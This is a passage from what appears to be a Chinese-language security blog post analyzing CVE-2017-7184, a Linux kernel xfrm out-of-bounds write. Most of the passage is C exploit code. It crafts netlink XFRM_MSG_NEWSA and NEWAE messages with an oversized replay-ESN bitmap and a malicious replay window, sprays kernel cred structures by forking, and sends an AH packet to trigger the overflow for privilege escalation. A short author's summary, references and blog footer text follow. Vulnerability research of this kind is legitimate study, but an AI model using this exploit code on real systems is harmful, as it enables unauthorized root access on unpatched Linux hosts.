	data += sizeof(nla);
	memcpy(data, &xa, sizeof(xa));
	data += sizeof(xa);

	struct xfrm_replay_state_esn rs;
	memset(&nla, 0, sizeof(nla));
	nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
	nla.nla_type = XFRMA_REPLAY_ESN_VAL;	
	rs.replay_window = bmp_len;
	rs.bmp_len = bmp_len;   //确定构造堆块大小
	memcpy(data,&nla,sizeof(nla));
	data += sizeof(nla);
	memcpy(data, &rs, sizeof(rs));
	data += sizeof(rs);	
	memset(data,'1',bmp_len*4*8);

	iov.iov_base = (void *)nlhdr;
	iov.iov_len = nlhdr->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(nladdr);
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
 	//dump_data(&msg,iov.iov_len);
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;
}

int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
	struct sockaddr_nl nladdr;
	struct msghdr msg;
	struct nlmsghdr *nlhdr;
	struct iovec iov;
	int len = 4096,err;
	char *data;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	nladdr.nl_pid = 0;
	nladdr.nl_groups = 0;
	nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
	memset(nlhdr,0,NLMSG_SPACE(len));

	nlhdr->nlmsg_len = NLMSG_LENGTH(len);
	nlhdr->nlmsg_flags = NLM_F_REQUEST|NLM_F_REPLACE;
	nlhdr->nlmsg_pid = getpid();
	nlhdr->nlmsg_type = XFRM_MSG_NEWAE;

	data = NLMSG_DATA(nlhdr); 
	struct xfrm_aevent_id xai;
	memset(&xai,0,sizeof(xai));
	xai.sa_id.proto = IPPROTO_AH;
	xai.sa_id.family = AF_INET;
	xai.sa_id.spi = spi;
	xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");

	memcpy(data,&xai,sizeof(xai));
	data += sizeof(xai);	

	struct nlattr nla;
	memset(&nla, 0, sizeof(nla));
	struct xfrm_replay_state_esn rs;
	memset(&nla, 0, sizeof(nla));
	nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
	nla.nla_type = XFRMA_REPLAY_ESN_VAL;	
	rs.replay_window = evil_windows;
	rs.bmp_len = bmp_len;
	rs.seq_hi = seq_hi;
	rs.seq = seq;	
	memcpy(data,&nla,sizeof(nla));
	data += sizeof(nla);
	memcpy(data, &rs, sizeof(rs));
	data += sizeof(rs);	
	memset(data,'1',bmp_len*4*8);



	iov.iov_base = (void *)nlhdr;
	iov.iov_len = nlhdr->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(nladdr);
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;	
}

int sendah(int sock,int spi,int seq ){
	struct sockaddr_in sai;
	struct iovec iov;
	struct msghdr msg;
	char *data;
	struct ip_auth_hdr ah;
	int err;
	memset(&msg, 0, sizeof(msg));
	memset(&sai, 0, sizeof(sai));
	sai.sin_addr.s_addr = inet_addr("127.0.0.1");
	sai.sin_port = htons(0x4869);
	sai.sin_family = AF_INET;
	data = malloc(4096);
	memset(data,'1',4096);
	ah.spi = spi;
	ah.nexthdr = 1;
	ah.seq_no = seq;
	ah.hdrlen = (0x10 >> 2) - 2;

	memcpy(data,&ah,sizeof(ah));

	iov.iov_base = (void *)data;
	iov.iov_len = 4096;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = (void *)&(sai);
	msg.msg_namelen = sizeof(sai);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
 	//dump_data(&msg,iov.iov_len);
	//dump_data(nlhdr,iov.iov_len);
	err = sendmsg (sock, &msg, 0); 
	if (err<0){
		perror("[-] bad sendmsg");
		return -1;		
	}
	return err;	
}


int main(int argc, char const *argv[])
{
	int spary_n=0xc00,err,xfrm_socket,recvfd,sendfd;
	unsigned int time = 1;

	xfrm_socket=init_xfrm_socket(); //初始化xfrm
	if (xfrm_socket<0){
		fprintf(stderr, "[-] bad init xfrm socket\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init xfrm_socket %d \n",xfrm_socket);
    //测试 recvfd、sendfd函数是否正确
	recvfd = init_recvfd(); 
	if (recvfd<0){
		fprintf(stderr, "[-] bad init_recvfd\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init recvfd : %d \n",recvfd);
	sendfd = init_sendfd();
	if (recvfd<0){
		fprintf(stderr, "[-] bad sendfd\n");
		exit(-1);
	}
	fprintf(stderr, "[+] init sendfd : %d \n",sendfd);
	//return 0;
    //堆喷讲cred结构体布局到kmalloc-192链上
	fprintf(stderr, "[+] start spary %d creds \n",spary_n );
	fork_spary_n(spary_n,time);
	sleep(5);
    //创建xfrm结构体
	err=xfrm_add_sa(xfrm_socket,4869,0x24);
	if (err<0){
		fprintf(stderr, "[-] bad xfrm_add_sa\n");
		exit(-1);
	}
    //修改xfrm_replay_esn结构体
	fprintf(stderr, "[+] xfrm_add_sa : %d \n",err);
	err=xfrm_new_ae(xfrm_socket,4869,0x24,0xc01,0xb40,1);	
//int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
	if (err<0){
		fprintf(stderr, "[-] bad xfrm_new_ae\n");
		exit(-1);
	}
	fprintf(stderr, "[+] xfrm_new_ae : %d \n",err);	

	fork_spary_n(spary_n,10); //再堆喷
	sendah(sendfd,4869, htonl(0x1743));  //触发漏洞
}

总结

第一次接触Linux kernel的真实漏洞调试，对这个模块也不是很熟悉，对于代码流程也只是懂得了漏洞触发的部分，这里是需要花更多的时间来学习的，希望后续能够再进一步研究吧。

参考

Linux xfrm模块越界读写提权漏洞分析

【CVE-2017-7184】Linux xfrm模块越界读写提权漏洞分析

ubuntu 内核源码调试方法（双机调试）

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing